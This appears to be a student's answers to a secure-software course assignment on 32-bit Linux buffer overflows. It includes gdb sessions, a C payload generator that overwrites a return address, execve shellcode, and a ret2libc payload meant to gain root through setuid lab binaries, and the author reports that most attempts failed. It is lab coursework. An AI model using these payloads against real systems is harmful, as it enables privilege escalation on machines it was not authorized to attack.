

Question 1 : Question 1 (3 mks). In the binary named “secret-str”, find the secret string hidden3 .

Find secret with this 2 commands:

file secret-str

```
mary@U12:~$ file secret-str
secret-str: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x50a9cb1cbea2e3796d35cee15bed670adcfa053f, not stripped
```

strings secret-str | less

```
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
gets
puts
__stack_chk_fail
putchar
printf
strcmp
__libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRh
QVh8
UWVS
[^_]
SECRET : YOU ARE THE BEST STUDENT OF SECURE SOFTWARE COURSE (I DON'T SAY THAT TO EVERY
STUDENT :)) !
Password ?
Wrong Password
Correct Password
The next URL is :
;*2$"
(END)
```

Question 2 (4 mks). Consider the C11 code listed below. This code implement some form of protection against buffer overflow. Explain two different ways of bypassing this protection in the particular case of buffer overflow.

Two Ways to Bypass Protection

1. Stack Canaries Bypass

To bypass stack canaries, an attacker can:

Leak the Canary Value: If the program has a format string vulnerability or some way to read the stack, the attacker can leak the canary's value. Once the value is known, the attacker can include the correct canary value in the overflow payload, ensuring it remains unchanged.

2. ASLR Bypass

To bypass ASLR, an attacker can:

- **Information Leak:** Leverage another vulnerability (e.g., a format string or buffer overflow in a different part of the program) to leak memory addresses. With known addresses, the attacker can calculate offsets to target specific regions in memory.
 - Example: If an address in the stack is leaked, the attacker can infer the location of the buffer or return address.
- **Brute-Forcing:** In systems with partial ASLR (e.g., 32-bit), the entropy is limited. An attacker can try multiple payloads, adjusting the guessed address each time, until the correct one is found.

Question 3 (3 mks). In the binary named “check-passwd”, find a buffer overflow vulnerability and how to exploit it to bypass password protection.

The function `stuff ()` implements a simple stack-based buffer overflow protection:

1. The `guard` variable is initialized with the value of `secret` at the beginning of the function.
2. After the `strcpy()` call, the code checks if `guard` has been modified:

```
if (guard != secret)
```

If code check length before push it to buffer it will avoid buffer over flow.

Question 4 (10 mks). In the binary named “check-pwd-crit”, find a buffer overflow vulnerability to make it print “Critical function” without making it crash. This binary was produced from a file “check-passwd.c” under the elf32 format using the command

Find the address of `criticalFunction`.

Determine the offset between the buffer and the return address in the stack.

```
gdb ./check-passwd-crit
```

```
(gdb) disas criticalfunction # Disassemble to find address of criticalFunction
```

```
mary@U12: /media/sf_softwareSecure
mary@U12:~$ cd media/sf_softwareSecure
bash: cd: media/sf_softwareSecure: No such file or directory
mary@U12:~$ ^C
mary@U12:~$ cd /media/sf_softwareSecure/
mary@U12:/media/sf_softwareSecure$ gdb ./check-passwd-crit
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /media/sf_softwareSecure/check-passwd-crit...(no debugging
symbols found)...done.
(gdb) disas criticalFunction
No symbol table is loaded. Use the "file" command.
(gdb) disas criticalFunction
Dump of assembler code for function criticalFunction:
0x08048514 <+0>:    push    %ebp
0x08048515 <+1>:    mov     %esp,%ebp
0x08048517 <+3>:    sub     $0x18,%esp
0x0804851a <+6>:    mov     $0x804867d,%eax
```

criticalFunction : 0x08048514

(gdb) b checkPwd # Set a breakpoint at the vulnerable function

(gdb) run \$(printf 'A%.0s' {1..120}) # Input a long string to overflow the buffer

(gdb) info frame # Inspect the stack to locate the return address # Set a breakpoint at the vulnerable function

```
mary@U12: /media/sf_softwareSecure
End of assembler dump.
(gdb) b checkPwd
Breakpoint 1 at 0x8048479
(gdb) run $(printf 'A%.0s' {1..120})
Starting program: /media/sf_softwareSecure/check-passwd-crit $(printf 'A%.0s' {1..120})

Breakpoint 1, 0x08048479 in checkPwd ()
(gdb) info frame
Stack level 0, frame at 0xbffff2c0:
 eip = 0x8048479 in checkPwd; saved eip 0x8048534
 called by frame at 0xbffff2d0
 Arglist at 0xbffff2b8, args:
 Locals at 0xbffff2b8, Previous frame's sp is 0xbffff2c0
 Saved registers:
  ebp at 0xbffff2b8, eip at 0xbffff2bc
(gdb) ^CQuit
(gdb) ^CQuit
(gdb) q
A debugging session is active.

    Inferior 1 [process 3412] will be killed.

Quit anyway? (y or n) y
```

I put buffer size 104

exploit file

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    // Address of critical_function
    unsigned int critical_function_address = 0x08048514;

    // Buffer size until the return address
    int buffer_size = 104;

    // Create the payload
    char payload[buffer_size + 4 + 1];
    memset(payload, 'A', buffer_size); // Fill the buffer with 'A'
    memcpy(payload + buffer_size, &critical_function_address, 4); // Append the address
    payload[buffer_size + 4] = '\0';

    printf("%s", payload);


    return 0;
}
```

Compile the exploit:

gcc -o exploit exploit.c

./exploit > payload.txt

./check-passwd-crit \$(cat payload.txt)



```
mary@U12: /media/sf_softwareSecure
at 0xbfff2b8 eip at 0xbfff2bc
>
> q
> ^C
mary@U12: /media/sf_softwareSecure$ gcc -o exploit exploit.c
mary@U12: /media/sf_softwareSecure$ ./exploit > payload.txt
mary@U12: /media/sf_softwareSecure$ ./check-passwd-crit $(cat payload.txt)
Password ?
^C
```

If successful, the program should print: unfortunately I wasn't successful.

criticalFunction

Set-UID :

sudo chown root:root check-passwd-crit

sudo chmod 4755 check-passwd-crit

```
mary@U12: /media/sf_softwareSecure
at 0xbfff2b8 eip at 0xbfff2bc
>
>
> q
> ^C
mary@U12:/media/sf_softwareSecure$ gcc -o exploit exploit.c
mary@U12:/media/sf_softwareSecure$ ./exploit > payload.txt
mary@U12:/media/sf_softwareSecure$ ./check-passwd-crit $(cat payload.txt)

Password ?
^C
mary@U12:/media/sf_softwareSecure$ rm payload
rm: cannot remove `payload': No such file or directory
mary@U12:/media/sf_softwareSecure$ rm payload
rm: cannot remove `payload': No such file or directory
mary@U12:/media/sf_softwareSecure$ sudo chown root:root check-passwd-crit
[sudo] password for mary:
mary@U12:/media/sf_softwareSecure$ sudo chmod 4755 check-passwd-crit
[sudo] password for mary:
mary@U12:/media/sf_softwareSecure$ ./check-passwd-crit $(cat payload.txt)

Password ?
^C
mary@U12:/media/sf_softwareSecure$
```

ID

```
mary@U12:/media/sf_softwareSecure$ id
uid=1000(mary) gid=1000(mary) groups=1000(mary),999(vboxsf)
mary@U12:/media/sf_softwareSecure$
```

Question 5 (20 mks). Given the binary named “root-me-1”, turn it into a set-uid program and find a buffer overflow vulnerability in order to log as root. This binary was produced from a file “greeter.c” under the elf32 format using the command • gcc -o root-me-1 -m32 -z execstack -fno-stack-protector greeter.c

Set Uid

sudo chown root:root root-me-1

sudo chmod u+s root-me-1

```

mary@U12:~$ sudo chown root:root root-me-1
mary@U12:~$ sudo chmod u+s root-me-1
mary@U12:~$ ls -l root-me-1
-rwsrwx-- 1 root root 7259 Nov 18 22:00 root-me-1

```

Find buffer size:

```

mary@U12:~$ python
Python 2.7.3 (default, Sep 26 2013, 20:08:41)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "A"*200
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
>>>
mary@U12:~$ ./root-me-1 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mary@U12:~$ ./root-me-1 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mary@U12:~$ ./root-me-1 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

```

Buffer size is : "A"*208 => get segmentation fault

```
q5.py ✕
import struct

# Filling the buffer until EIP register
padding = "A" * 212

# EIP overwrite in little indian -> \x60\xf2\xff\xbf
eip = struct.pack("I", 0xbffff260 + 30)

# Shellcode from https://shell-storm.org/shellcode/files/shellcode-811.html
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40xcd\x80"

# NOPS before shellcode
nops = "\x90"*50

print padding + eip + nops + payload
```

Result :

Unfortunately it doesn't work.

```
mary@U12:~$ ./root-me-1 "$(python q5.py)"
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~
1Ph//ssh/bin1@
Segmentation fault (core dumped)
mary@U12:~$ whoami
mary
mary@U12:~$ ./root-me-1 "$(python q5.py)"
```

Question 6 (10 mks). Given the binary named “root-me-2”, turn it into a set-uid program and find a buffer overflow vulnerability in order to log as root. This binary was produced from a file “greeter.c” under the elf32 format using the command • gcc -o root-me-2 -m32 -fno-stack-protector greeter.c

Steps 1:

```
sudo chown root:root root-me-2
```

```
sudo chmod u+s root-me-2
```

permissions:

```
mary@U12:~$ ls -l root-me-2
-rwsrwsr-x 1 root root 7259 Nov 20 11:19 root-me-2
```

Disassemble main function for finding vulnerable function:


```

(gdb) disassemble main
Dump of assembler code for function main:
   0x0804847b <+0>:    push    %ebp
   0x0804847c <+1>:    mov     %esp,%ebp
   0x0804847e <+3>:    and     $0xffffffff,%esp
   0x08048481 <+6>:    sub     $0x10,%esp
   0x08048484 <+9>:    cmpl    $0x2,0x8(%ebp)
   0x08048488 <+13>:   jne     0x0804849c <main+33>
   0x0804848a <+15>:   mov     0xc(%ebp),%eax
   0x0804848d <+18>:   add     $0x4,%eax
   0x08048490 <+21>:   mov     (%eax),%eax
   0x08048492 <+23>:   mov     %eax,(%esp)
   0x08048495 <+26>:   call    0x08048444 <greet>
   0x0804849a <+31>:   jmp     0x080484a8 <main+45>
   0x0804849c <+33>:   movl    $0x804858c,(%esp)
   0x080484a3 <+40>:   call    0x08048360 <puts@plt>
   0x080484a8 <+45>:   leave
   0x080484a9 <+46>:   ret
End of assembler dump.

```

The code contains a `call` to a function at `0x08048444`, which corresponds to `greet`.

Disassemble `greet` :

```

(gdb) disassemble greet
Dump of assembler code for function greet:
   0x08048444 <+0>:    push    %ebp
   0x08048445 <+1>:    mov     %esp,%ebp
   0x08048447 <+3>:    sub     $0xe8,%esp
   0x0804844d <+9>:    mov     0x8(%ebp),%eax
   0x08048450 <+12>:   mov     %eax,0x4(%esp)
   0x08048454 <+16>:   lea     -0xd0(%ebp),%eax
   0x0804845a <+22>:   mov     %eax,(%esp)
   0x0804845d <+25>:   call    0x08048350 <strcpy@plt>
   0x08048462 <+30>:   mov     $0x8048580,%eax
   0x08048467 <+35>:   lea     -0xd0(%ebp),%edx
   0x0804846d <+41>:   mov     %edx,0x4(%esp)
   0x08048471 <+45>:   mov     %eax,(%esp)
   0x08048474 <+48>:   call    0x08048340 <printf@plt>
   0x08048479 <+53>:   leave
   0x0804847a <+54>:   ret
End of assembler dump.

```

```

mary@U12: ~
[ 8456.994168] root-me-2[3354]: segfault at bffff27e ip bffff27e sp bf8d6690 error 14
[ 8462.595152] root-me-2[3361]: segfault at bffff27e ip bffff27e sp bffb5d80 error 14
[ 8467.722671] root-me-2[3364]: segfault at bffff27e ip bffff27e sp bf9c8f90 error 14
[ 8476.171419] root-me-2[3374]: segfault at bffff27e ip bffff27e sp bfa28f30 error 14
[ 8481.783728] root-me-2[3380]: segfault at bffff27e ip bffff27e sp bf9243c0 error 14
[ 8487.309771] root-me-2[3386]: segfault at bffff27e ip bffff27e sp bfc9c950 error 14
[ 8494.203476] root-me-2[3389]: segfault at bffff27e ip bffff27e sp bff111d0 error 14
[ 8499.170955] root-me-2[3395]: segfault at bffff27e ip bffff27e sp bf952660 error 14
[ 8506.012626] root-me-2[3406]: segfault at bffff27e ip bffff27e sp bf999b90 error 14
[ 8512.338130] root-me-2[3414]: segfault at bffff27e ip bffff27e sp bfe0ef00 error 14
[ 8518.815053] root-me-2[3420]: segfault at bffff27e ip bffff27e sp bf847fc0 error 14
[ 8532.234346] root-me-2[3427]: segfault at bffff27e ip bffff27e sp bfb984c0 error 14
[22091.179683] gdb[3750]: segfault at 18c ip b776281c sp bfd08bd0 error 4 tln libncurses.so.5.9[b774d000+20000]
[22092.235510] root-me-2[3767]: segfault at 41414141 ip 41414141 sp bfa044a0 error 14
[30170.209121] root-me-2[4241]: segfault at 61616161 ip 61616161 sp bf93ea30 error 14
[39759.288892] e1000: eth0 NIC Link is Down
[39764.281534] 08:33:04.330388 timesync vgsvctimeSyncWorker: Radical host time change: 37 682 812 000 00ns (HostNow=1 732 437 184 330 000 000 ns HostLast=1 732 399 501 518 000 000 ns)
[39765.302662] e1000: eth0 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
[39774.283107] 08:33:14.331989 timesync vgsvctimeSyncWorker: Radical guest time change: 37 682 823 547 000ns (GuestNow=1 732 437 194 331 967 000 ns GuestLast=1 732 399 511 508 420 000 ns fSetTimeLastLoop=true)
[41310.629185] root-me-2[4612]: segfault at 41414141 ip 41414141 sp bffffdd08 error 14
mary@U12:~$ ./root-me-2 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
mary@U12:~$ ./root-me-2 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA'
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
marv@U12:~$ █

```

27:	00000000	0	FILE	LOCAL	DEFAULT	ABS	crtstuff.c
28:	08049f14	0	OBJECT	LOCAL	DEFAULT	18	__CTOR_LIST__
29:	08049f1c	0	OBJECT	LOCAL	DEFAULT	19	__DTOR_LIST__
30:	08049f24	0	OBJECT	LOCAL	DEFAULT	20	__JCR_LIST__
31:	080483c0	0	FUNC	LOCAL	DEFAULT	13	__do_global_dtors_aux
32:	0804a01c	1	OBJECT	LOCAL	DEFAULT	25	completed.6159
33:	0804a020	4	OBJECT	LOCAL	DEFAULT	25	dtor_idx.6161
34:	08048420	0	FUNC	LOCAL	DEFAULT	13	frame_dummy
35:	00000000	0	FILE	LOCAL	DEFAULT	ABS	crtstuff.c
36:	08049f18	0	OBJECT	LOCAL	DEFAULT	18	__CTOR_END__
37:	080486f8	0	OBJECT	LOCAL	DEFAULT	17	__FRAME_END__
38:	08049f24	0	OBJECT	LOCAL	DEFAULT	20	__JCR_END__
39:	08048530	0	FUNC	LOCAL	DEFAULT	13	__do_global_ctors_aux
40:	00000000	0	FILE	LOCAL	DEFAULT	ABS	greater.c
41:	08049f14	0	NOTYPE	LOCAL	DEFAULT	18	__init_array_end
42:	08049f28	0	OBJECT	LOCAL	DEFAULT	21	__DYNAMIC
43:	08049f14	0	NOTYPE	LOCAL	DEFAULT	18	__init_array_start
44:	08049ff4	0	OBJECT	LOCAL	DEFAULT	23	__GLOBAL_OFFSET_TABLE__
45:	08048520	2	FUNC	GLOBAL	DEFAULT	13	__libc_csu_fini
46:	08048522	0	FUNC	GLOBAL	HIDDEN	13	__i686.get_pc_th[...]
47:	0804a014	0	NOTYPE	WEAK	DEFAULT	24	data_start
48:	00000000	0	FUNC	GLOBAL	DEFAULT	UND	printf@@GLIBC_2.0
49:	0804a01c	0	NOTYPE	GLOBAL	DEFAULT	ABS	_edata
50:	0804855c	0	FUNC	GLOBAL	DEFAULT	14	_fini
51:	00000000	0	FUNC	GLOBAL	DEFAULT	UND	strcpy@@GLIBC_2.0
52:	08049f20	0	OBJECT	GLOBAL	HIDDEN	19	__DTOR_END__
53:	08048444	55	FUNC	GLOBAL	DEFAULT	13	greet
54:	0804a014	0	NOTYPE	GLOBAL	DEFAULT	24	__data_start
55:	00000000	0	FUNC	GLOBAL	DEFAULT	UND	puts@@GLIBC_2.0
56:	00000000	0	NOTYPE	WEAK	DEFAULT	UND	__gmon_start__
57:	0804a018	0	OBJECT	GLOBAL	HIDDEN	24	dso_handle
58:	0804857c	4	OBJECT	GLOBAL	DEFAULT	15	__IO_stdin_used
59:	00000000	0	FUNC	GLOBAL	DEFAULT	UND	__libc_start_mai[...]
60:	080484b0	97	FUNC	GLOBAL	DEFAULT	13	__libc_csu_init
61:	0804a024	0	NOTYPE	GLOBAL	DEFAULT	ABS	__end
62:	08048390	0	FUNC	GLOBAL	DEFAULT	13	__start
63:	08048578	4	OBJECT	GLOBAL	DEFAULT	15	_fp_hw
64:	0804a01c	0	NOTYPE	GLOBAL	DEFAULT	ABS	__bss_start

Line 53 function greet 08048444

Find bin/sh address:

(gdb) Info proc map

```
mary@U12: ~
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mary/root-me-2...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x804847e
(gdb) run
Starting program: /home/mary/root-me-2

Breakpoint 1, 0x0804847e in main ()
(gdb) info proc map
process 4975
Mapped address spaces:

   Start Addr   End Addr       Size     Offset objfile
   0x8048000   0x8049000     0x1000        0x0  /home/mary/root-me-2
   0x8049000   0x804a000     0x1000        0x0  /home/mary/root-me-2
   0x804a000   0x804b000     0x1000     0x1000  /home/mary/root-me-2
   0xb7618000  0xb7619000     0x1000         0x0 
   0xb7619000  0xb77bd000   0x1a4000        0x0  /lib/i386-linux-gnu/libc-2.15.so
   0xb77bd000  0xb77bf000     0x2000     0x1a4000  /lib/i386-linux-gnu/libc-2.15.so
   0xb77bf000  0xb77c0000     0x1000     0x1a6000  /lib/i386-linux-gnu/libc-2.15.so
   0xb77c0000  0xb77c3000     0x3000         0x0 
   0xb77d3000  0xb77d5000     0x2000         0x0 
   0xb77d5000  0xb77d6000     0x1000         0x0  [vdso]
   0xb77d6000  0xb77f6000    0x20000        0x0  /lib/i386-linux-gnu/ld-2.15.so
   0xb77f6000  0xb77f7000     0x1000     0x1f000  /lib/i386-linux-gnu/ld-2.15.so
   0xb77f7000  0xb77f8000     0x1000     0x20000  /lib/i386-linux-gnu/ld-2.15.so
   0xbfec1000  0xbfee2000    0x21000        0x0  [stack]
(gdb) find 0xb7619000 ,+9999999, "/bin/sh"
0xb777ad98

(gdb) find 0xb7619000 ,+9999999, "/bin/sh"
0xb777ad98
warning: Unable to access target memory at 0xb77c12a0, halting search.
1 pattern found.
(gdb) x/s0xb777ad98
0xb777ad98: "/bin/sh"
(gdb) p system
No symbol table is loaded. Use the "file" command.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7658430 <system>
(gdb) q
A debugging session is active.

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7658430 <system>
(gdb)
```

```

import struct

padding = "A" * 212

system = struct.pack("I", 0xb7658430)

ret = "AAAA"
bin_sh = struct.pack("I", 0xb777ad98)

print padding + system + ret + bin_sh |

```

```

mary@U12:~$ ./root-me-2 "$(python payloadq6.py)"
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0eAAAAw
Segmentation fault (core dumped)
mary@U12:~$ ./root-me-2 "$(python payloadq6.py)"
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0eAAAAw
Segmentation fault (core dumped)
mary@U12:~$ whoami
mary

```

Question 7 (20 mks). Given the binary named “root-me-3”, turn it into a set-uid program and find a buffer overflow vulnerability in order to log as root. This binary was produced from a file “greeter2.c” under the elf32 format using the command • gcc -o root-me-3 -m32 -z execstack -fno-stack-protector greeter2.c

Find the buffer size: 208

```
Traceback (most recent call last):  
  File "<stdin>", line 1, in <module>  
NameError: name 'q' is not defined  
  
>>>  
mary@U12::~$ ./root-me-3 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'  
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
mary@U12::~$ ./root-me-3 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'  
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
mary@U12::~$ ./root-me-3 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'  
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
Segmentation fault (core dumped)  
mary@U12::~$ ./root-me-3 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
(gdb) r
Starting program: /home/mary/root-me-3

Breakpoint 1, 0x08048527 in main ()
(gdb) Info proc map
process 2523
Mapped address spaces:

Start Addr    End Addr      Size           Offset objfile
0x8048000     0x8049000     0x1000         0x0  /home/mary/root-me-3
0x8049000     0x804a000     0x1000         0x0  /home/mary/root-me-3
0x804a000     0x804b000     0x1000        0x1000 /home/mary/root-me-3
0xb7e20000    0xb7e21000    0x1000         0x0
0xb7e21000    0xb7fc5000    0x1a4000        0x0  /lib/i386-linux-gnu/libc-2.1
5.so
0xb7fc5000    0xb7fc7000     0x2000        0x1a4000 /lib/i386-linux-gnu/libc-2.1
5.so
0xb7fc7000    0xb7fc8000     0x1000        0x1a6000 /lib/i386-linux-gnu/libc-2.1
5.so
0xb7fc8000    0xb7fcb000     0x3000         0x0
0xb7fdb000    0xb7fdd000     0x2000         0x0
0xb7fdd000    0xb7fde000     0x1000         0x0 [vdso]
0xb7fde000    0xb7ffe000    0x20000        0x0  /lib/i386-linux-gnu/ld-2.15.
so
0xb7ffe000    0xb7fff000     0x1000        0x1f000 /lib/i386-linux-gnu/ld-2.15.
so
0xb7fff000    0xb8000000     0x1000        0x20000 /lib/i386-linux-gnu/ld-2.15.
so
---Type <return> to continue, or q <return> to quit---
```

```
0xb7f0f000 0xc0000000 0x21000 0x0 [stack]
(gdb) find 0xb7e21000,+9999999,"/bin/sh"
0xb7f82d98
warning: Unable to access target memory at 0xb7fc92a0, halting search.
1 pattern found.
(gdb) x/s0xb7f82d98
0xb7f82d98: "/bin/sh"
(gdb)
```

```
0xb7f82d98 "/bin/sh"
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e60430 <system>
(gdb)
```